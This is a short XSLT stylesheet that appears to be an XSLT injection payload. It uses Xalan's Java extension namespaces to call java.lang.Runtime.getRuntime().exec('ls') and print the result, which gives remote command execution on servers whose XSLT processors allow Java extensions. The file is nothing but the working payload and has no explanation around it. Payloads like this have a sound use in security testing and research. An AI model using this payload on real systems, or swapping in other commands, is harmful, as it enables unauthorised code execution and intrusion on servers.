<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
  <xsl:variable name="rtobject" select="rt:getRuntime()"/>
  <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
  <xsl:variable name="processString" select="ob:toString($process)"/>
  <xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>